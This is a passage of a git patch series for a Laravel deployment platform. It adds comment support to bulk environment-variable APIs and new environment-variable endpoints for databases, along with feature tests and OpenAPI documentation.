'resourceable_id' => $application->id, ]); @@ -3254,6 +3259,9 @@ public function create_bulk_envs(Request $request) if ($item->has('is_buildtime') && $env->is_buildtime != $item->get('is_buildtime')) { $env->is_buildtime = $item->get('is_buildtime'); } + if ($item->has('comment') && $env->comment != $item->get('comment')) { + $env->comment = $item->get('comment'); + } $env->save(); } else { $env = $application->environment_variables()->create([ @@ -3265,6 +3273,7 @@ public function create_bulk_envs(Request $request) 'is_shown_once' => $is_shown_once, 'is_runtime' => $item->get('is_runtime', true), 'is_buildtime' => $item->get('is_buildtime', true), + 'comment' => $item->get('comment'), 'resourceable_type' => get_class($application), 'resourceable_id' => $application->id, ]); diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index de504c1a4..4caee26dd 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -1362,6 +1362,7 @@ public function create_bulk_envs(Request $request) 'is_literal' => 'boolean', 'is_multiline' => 'boolean', 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); if ($validator->fails()) { diff --git a/tests/Feature/EnvironmentVariableBulkCommentApiTest.php b/tests/Feature/EnvironmentVariableBulkCommentApiTest.php new file mode 100644 index 000000000..f038ad682 --- /dev/null +++ b/tests/Feature/EnvironmentVariableBulkCommentApiTest.php @@ -0,0 +1,244 @@ + 0]); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +describe('PATCH /api/v1/applications/{uuid}/envs/bulk', function () { + test('creates environment variables with comments', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'DB_HOST', + 'value' => 'localhost', + 'comment' => 'Database host for production', + ], + [ + 'key' => 'DB_PORT', + 'value' => '5432', + ], + ], + ]); + + $response->assertStatus(201); + + $envWithComment = EnvironmentVariable::where('key', 'DB_HOST') + ->where('resourceable_id', $application->id) + ->where('is_preview', false) + ->first(); + + $envWithoutComment = EnvironmentVariable::where('key', 'DB_PORT') + ->where('resourceable_id', $application->id) + ->where('is_preview', false) + ->first(); + + expect($envWithComment->comment)->toBe('Database host for production'); + expect($envWithoutComment->comment)->toBeNull(); + }); + + test('updates existing environment variable comment', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + EnvironmentVariable::create([ + 'key' => 'API_KEY', + 'value' => 'old-key', + 'comment' => 'Old comment', + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'is_preview' => false, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'API_KEY', + 'value' => 'new-key', + 'comment' => 'Updated comment', + ], + ], + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'API_KEY') + ->where('resourceable_id', $application->id) + ->where('is_preview', false) + ->first(); + + expect($env->value)->toBe('new-key'); + expect($env->comment)->toBe('Updated comment'); + }); + + test('preserves existing comment when not provided in bulk update', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + EnvironmentVariable::create([ + 'key' => 'SECRET', + 'value' => 'old-secret', + 'comment' => 'Keep this comment', + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'is_preview' => false, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'SECRET', + 'value' => 'new-secret', + ], + ], + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'SECRET') + ->where('resourceable_id', $application->id) + ->where('is_preview', false) + ->first(); + + expect($env->value)->toBe('new-secret'); + expect($env->comment)->toBe('Keep this comment'); + }); + + test('rejects comment exceeding 256 characters', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'TEST_VAR', + 'value' => 'value', + 'comment' => str_repeat('a', 257), + ], + ], + ]); + + $response->assertStatus(422); + }); +}); + +describe('PATCH /api/v1/services/{uuid}/envs/bulk', function () { + test('creates environment variables with comments', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/services/{$service->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'REDIS_HOST', + 'value' => 'redis', + 'comment' => 'Redis cache host', + ], + [ + 'key' => 'REDIS_PORT', + 'value' => '6379', + ], + ], + ]); + + $response->assertStatus(201); + + $envWithComment = EnvironmentVariable::where('key', 'REDIS_HOST') + ->where('resourceable_id', $service->id) + ->where('resourceable_type', Service::class) + ->first(); + + $envWithoutComment = EnvironmentVariable::where('key', 'REDIS_PORT') + ->where('resourceable_id', $service->id) + ->where('resourceable_type', Service::class) + ->first(); + + expect($envWithComment->comment)->toBe('Redis cache host'); + expect($envWithoutComment->comment)->toBeNull(); + }); + + test('rejects comment exceeding 256 characters', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/services/{$service->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'TEST_VAR', + 'value' => 'value', + 'comment' => str_repeat('a', 257), + ], + ], + ]); + + $response->assertStatus(422); + }); +}); From c00d5de03e9a943270db8bebe7e360b444da24b8 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 19 Mar 2026 23:29:50 +0100 Subject: [PATCH 26/49] feat(api): add database environment variable management endpoints Add CRUD API endpoints for managing environment variables on databases: - GET /databases/{uuid}/envs - list environment variables - POST /databases/{uuid}/envs - create environment variable - PATCH /databases/{uuid}/envs - update environment variable - PATCH /databases/{uuid}/envs/bulk - bulk create environment variables - DELETE /databases/{uuid}/envs/{env_uuid} - delete environment variable Includes comprehensive test suite and OpenAPI documentation. --- .../Controllers/Api/DatabasesController.php | 548 ++++++++++++++++++ openapi.json | 381 ++++++++++++ openapi.yaml | 236 ++++++++ routes/api.php | 6 + .../DatabaseEnvironmentVariableApiTest.php | 346 +++++++++++ 5 files changed, 1517 insertions(+) create mode 100644 tests/Feature/DatabaseEnvironmentVariableApiTest.php diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index f7a62cf90..6ad18d872 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -11,6 +11,7 @@ use App\Http\Controllers\Controller; use App\Jobs\DatabaseBackupJob; use App\Jobs\DeleteResourceJob; +use App\Models\EnvironmentVariable; use App\Models\Project; use App\Models\S3Storage; use App\Models\ScheduledDatabaseBackup; @@ -2750,4 +2751,551 @@ public function action_restart(Request $request) 200 ); } + + private function removeSensitiveEnvData($env) + { + $env->makeHidden([ + 'id', + 'resourceable', + 'resourceable_id', + 'resourceable_type', + ]); + if (request()->attributes->get('can_read_sensitive', false) === false) { + $env->makeHidden([ + 'value', + 'real_value', + ]); + } + + return serializeApiResponse($env); + } + + #[OA\Get( + summary: 'List Envs', + description: 'List all envs by database UUID.', + path: '/databases/{uuid}/envs', + operationId: 'list-envs-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Environment variables.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'array', + items: new OA\Items(ref: '#/components/schemas/EnvironmentVariable') + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function envs(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + $database = queryDatabaseByUuidWithinTeam($request->uuid, $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('view', $database); + + $envs = $database->environment_variables->map(function ($env) { + return $this->removeSensitiveEnvData($env); + }); + + return response()->json($envs); + } + + #[OA\Patch( + summary: 'Update Env', + description: 'Update env by database UUID.', + path: '/databases/{uuid}/envs', + operationId: 'update-env-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Env updated.', + required: true, + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['key', 'value'], + properties: [ + 'key' => ['type' => 'string', 'description' => 'The key of the environment variable.'], + 'value' => ['type' => 'string', 'description' => 'The value of the environment variable.'], + 'is_literal' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is a literal, nothing espaced.'], + 'is_multiline' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is multiline.'], + 'is_shown_once' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable\'s value is shown on the UI.'], + ], + ), + ), + ], + ), + responses: [ + new OA\Response( + response: 201, + description: 'Environment variable updated.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + ref: '#/components/schemas/EnvironmentVariable' + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function update_env_by_uuid(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $database = queryDatabaseByUuidWithinTeam($request->route('uuid'), $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('manageEnvironment', $database); + + $validator = customApiValidator($request->all(), [ + 'key' => 'string|required', + 'value' => 'string|nullable', + 'is_literal' => 'boolean', + 'is_multiline' => 'boolean', + 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', + ]); + + if ($validator->fails()) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $validator->errors(), + ], 422); + } + + $key = str($request->key)->trim()->replace(' ', '_')->value; + $env = $database->environment_variables()->where('key', $key)->first(); + if (! $env) { + return response()->json(['message' => 'Environment variable not found.'], 404); + } + + $env->value = $request->value; + if ($request->has('is_literal')) { + $env->is_literal = $request->is_literal; + } + if ($request->has('is_multiline')) { + $env->is_multiline = $request->is_multiline; + } + if ($request->has('is_shown_once')) { + $env->is_shown_once = $request->is_shown_once; + } + if ($request->has('comment')) { + $env->comment = $request->comment; + } + $env->save(); + + return response()->json($this->removeSensitiveEnvData($env))->setStatusCode(201); + } + + #[OA\Patch( + summary: 'Update Envs (Bulk)', + description: 'Update multiple envs by database UUID.', + path: '/databases/{uuid}/envs/bulk', + operationId: 'update-envs-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Bulk envs updated.', + required: true, + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['data'], + properties: [ + 'data' => [ + 'type' => 'array', + 'items' => new OA\Schema( + type: 'object', + properties: [ + 'key' => ['type' => 'string', 'description' => 'The key of the environment variable.'], + 'value' => ['type' => 'string', 'description' => 'The value of the environment variable.'], + 'is_literal' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is a literal, nothing espaced.'], + 'is_multiline' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is multiline.'], + 'is_shown_once' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable\'s value is shown on the UI.'], + ], + ), + ], + ], + ), + ), + ], + ), + responses: [ + new OA\Response( + response: 201, + description: 'Environment variables updated.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'array', + items: new OA\Items(ref: '#/components/schemas/EnvironmentVariable') + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function create_bulk_envs(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $database = queryDatabaseByUuidWithinTeam($request->route('uuid'), $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('manageEnvironment', $database); + + $bulk_data = $request->get('data'); + if (! $bulk_data) { + return response()->json(['message' => 'Bulk data is required.'], 400); + } + + $updatedEnvs = collect(); + foreach ($bulk_data as $item) { + $validator = customApiValidator($item, [ + 'key' => 'string|required', + 'value' => 'string|nullable', + 'is_literal' => 'boolean', + 'is_multiline' => 'boolean', + 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', + ]); + + if ($validator->fails()) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $validator->errors(), + ], 422); + } + $key = str($item['key'])->trim()->replace(' ', '_')->value; + $env = $database->environment_variables()->updateOrCreate( + ['key' => $key], + $item + ); + + $updatedEnvs->push($this->removeSensitiveEnvData($env)); + } + + return response()->json($updatedEnvs)->setStatusCode(201); + } + + #[OA\Post( + summary: 'Create Env', + description: 'Create env by database UUID.', + path: '/databases/{uuid}/envs', + operationId: 'create-env-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + required: true, + description: 'Env created.', + content: new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'key' => ['type' => 'string', 'description' => 'The key of the environment variable.'], + 'value' => ['type' => 'string', 'description' => 'The value of the environment variable.'], + 'is_literal' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is a literal, nothing espaced.'], + 'is_multiline' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is multiline.'], + 'is_shown_once' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable\'s value is shown on the UI.'], + ], + ), + ), + ), + responses: [ + new OA\Response( + response: 201, + description: 'Environment variable created.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'uuid' => ['type' => 'string', 'example' => 'nc0k04gk8g0cgsk440g0koko'], + ] + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function create_env(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $database = queryDatabaseByUuidWithinTeam($request->route('uuid'), $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('manageEnvironment', $database); + + $validator = customApiValidator($request->all(), [ + 'key' => 'string|required', + 'value' => 'string|nullable', + 'is_literal' => 'boolean', + 'is_multiline' => 'boolean', + 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', + ]); + + if ($validator->fails()) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $validator->errors(), + ], 422); + } + + $key = str($request->key)->trim()->replace(' ', '_')->value; + $existingEnv = $database->environment_variables()->where('key', $key)->first(); + if ($existingEnv) { + return response()->json([ + 'message' => 'Environment variable already exists. Use PATCH request to update it.', + ], 409); + } + + $env = $database->environment_variables()->create([ + 'key' => $key, + 'value' => $request->value, + 'is_literal' => $request->is_literal ?? false, + 'is_multiline' => $request->is_multiline ?? false, + 'is_shown_once' => $request->is_shown_once ?? false, + 'comment' => $request->comment ?? null, + ]); + + return response()->json($this->removeSensitiveEnvData($env))->setStatusCode(201); + } + + #[OA\Delete( + summary: 'Delete Env', + description: 'Delete env by UUID.', + path: '/databases/{uuid}/envs/{env_uuid}', + operationId: 'delete-env-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + new OA\Parameter( + name: 'env_uuid', + in: 'path', + description: 'UUID of the environment variable.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Environment variable deleted.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'message' => ['type' => 'string', 'example' => 'Environment variable deleted.'], + ] + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function delete_env_by_uuid(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $database = queryDatabaseByUuidWithinTeam($request->route('uuid'), $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('manageEnvironment', $database); + + $env = EnvironmentVariable::where('uuid', $request->route('env_uuid')) + ->where('resourceable_type', get_class($database)) + ->where('resourceable_id', $database->id) + ->first(); + + if (! $env) { + return response()->json(['message' => 'Environment variable not found.'], 404); + } + + $env->forceDelete(); + + return response()->json(['message' => 'Environment variable deleted.']); + } } diff --git a/openapi.json b/openapi.json index 5477420ab..d119176a1 100644 --- a/openapi.json +++ b/openapi.json @@ -6132,6 +6132,387 @@ ] } }, + "\/databases\/{uuid}\/envs": { + "get": { + "tags": [ + "Databases" + ], + "summary": "List Envs", + "description": "List all envs by database UUID.", + "operationId": "list-envs-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Environment variables.", + "content": { + "application\/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/EnvironmentVariable" + } + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "post": { + "tags": [ + "Databases" + ], + "summary": "Create Env", + "description": "Create env by database UUID.", + "operationId": "create-env-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Env created.", + "required": true, + "content": { + "application\/json": { + "schema": { + "properties": { + "key": { + "type": "string", + "description": "The key of the environment variable." + }, + "value": { + "type": "string", + "description": "The value of the environment variable." + }, + "is_literal": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is a literal, nothing espaced." + }, + "is_multiline": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is multiline." + }, + "is_shown_once": { + "type": "boolean", + "description": "The flag to indicate if the environment variable's value is shown on the UI." + } + }, + "type": "object" + } + } + } + }, + "responses": { + "201": { + "description": "Environment variable created.", + "content": { + "application\/json": { + "schema": { + "properties": { + "uuid": { + "type": "string", + "example": "nc0k04gk8g0cgsk440g0koko" + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "patch": { + "tags": [ + "Databases" + ], + "summary": "Update Env", + "description": "Update env by database UUID.", + "operationId": "update-env-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Env updated.", + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "key", + "value" + ], + "properties": { + "key": { + "type": "string", + "description": "The key of the environment variable." + }, + "value": { + "type": "string", + "description": "The value of the environment variable." + }, + "is_literal": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is a literal, nothing espaced." + }, + "is_multiline": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is multiline." + }, + "is_shown_once": { + "type": "boolean", + "description": "The flag to indicate if the environment variable's value is shown on the UI." + } + }, + "type": "object" + } + } + } + }, + "responses": { + "201": { + "description": "Environment variable updated.", + "content": { + "application\/json": { + "schema": { + "$ref": "#\/components\/schemas\/EnvironmentVariable" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/databases\/{uuid}\/envs\/bulk": { + "patch": { + "tags": [ + "Databases" + ], + "summary": "Update Envs (Bulk)", + "description": "Update multiple envs by database UUID.", + "operationId": "update-envs-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Bulk envs updated.", + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "data" + ], + "properties": { + "data": { + "type": "array", + "items": { + "properties": { + "key": { + "type": "string", + "description": "The key of the environment variable." + }, + "value": { + "type": "string", + "description": "The value of the environment variable." + }, + "is_literal": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is a literal, nothing espaced." + }, + "is_multiline": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is multiline." + }, + "is_shown_once": { + "type": "boolean", + "description": "The flag to indicate if the environment variable's value is shown on the UI." + } + }, + "type": "object" + } + } + }, + "type": "object" + } + } + } + }, + "responses": { + "201": { + "description": "Environment variables updated.", + "content": { + "application\/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/EnvironmentVariable" + } + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/databases\/{uuid}\/envs\/{env_uuid}": { + "delete": { + "tags": [ + "Databases" + ], + "summary": "Delete Env", + "description": "Delete env by UUID.", + "operationId": "delete-env-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "env_uuid", + "in": "path", + "description": "UUID of the environment variable.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Environment variable deleted.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string", + "example": "Environment variable deleted." + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, "\/deployments": { "get": { "tags": [ diff --git a/openapi.yaml b/openapi.yaml index dd03f9c42..7064be28a 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -3973,6 +3973,242 @@ paths: security: - bearerAuth: [] + '/databases/{uuid}/envs': + get: + tags: + - Databases + summary: 'List Envs' + description: 'List all envs by database UUID.' + operationId: list-envs-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + responses: + '200': + description: 'Environment variables.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/EnvironmentVariable' + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + post: + tags: + - Databases + summary: 'Create Env' + description: 'Create env by database UUID.' + operationId: create-env-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + requestBody: + description: 'Env created.' + required: true + content: + application/json: + schema: + properties: + key: + type: string + description: 'The key of the environment variable.' + value: + type: string + description: 'The value of the environment variable.' + is_literal: + type: boolean + description: 'The flag to indicate if the environment variable is a literal, nothing espaced.' + is_multiline: + type: boolean + description: 'The flag to indicate if the environment variable is multiline.' + is_shown_once: + type: boolean + description: "The flag to indicate if the environment variable's value is shown on the UI." + type: object + responses: + '201': + description: 'Environment variable created.' + content: + application/json: + schema: + properties: + uuid: { type: string, example: nc0k04gk8g0cgsk440g0koko } + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + patch: + tags: + - Databases + summary: 'Update Env' + description: 'Update env by database UUID.' + operationId: update-env-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + requestBody: + description: 'Env updated.' + required: true + content: + application/json: + schema: + required: + - key + - value + properties: + key: + type: string + description: 'The key of the environment variable.' + value: + type: string + description: 'The value of the environment variable.' + is_literal: + type: boolean + description: 'The flag to indicate if the environment variable is a literal, nothing espaced.' + is_multiline: + type: boolean + description: 'The flag to indicate if the environment variable is multiline.' + is_shown_once: + type: boolean + description: "The flag to indicate if the environment variable's value is shown on the UI." + type: object + responses: + '201': + description: 'Environment variable updated.' + content: + application/json: + schema: + $ref: '#/components/schemas/EnvironmentVariable' + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/databases/{uuid}/envs/bulk': + patch: + tags: + - Databases + summary: 'Update Envs (Bulk)' + description: 'Update multiple envs by database UUID.' + operationId: update-envs-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + requestBody: + description: 'Bulk envs updated.' + required: true + content: + application/json: + schema: + required: + - data + properties: + data: + type: array + items: { properties: { key: { type: string, description: 'The key of the environment variable.' }, value: { type: string, description: 'The value of the environment variable.' }, is_literal: { type: boolean, description: 'The flag to indicate if the environment variable is a literal, nothing espaced.' }, is_multiline: { type: boolean, description: 'The flag to indicate if the environment variable is multiline.' }, is_shown_once: { type: boolean, description: "The flag to indicate if the environment variable's value is shown on the UI." } }, type: object } + type: object + responses: + '201': + description: 'Environment variables updated.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/EnvironmentVariable' + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/databases/{uuid}/envs/{env_uuid}': + delete: + tags: + - Databases + summary: 'Delete Env' + description: 'Delete env by UUID.' + operationId: delete-env-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + - + name: env_uuid + in: path + description: 'UUID of the environment variable.' + required: true + schema: + type: string + responses: + '200': + description: 'Environment variable deleted.' + content: + application/json: + schema: + properties: + message: { type: string, example: 'Environment variable deleted.' } + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] /deployments: get: tags: diff --git a/routes/api.php b/routes/api.php index b02682a5b..1de365c49 100644 --- a/routes/api.php +++ 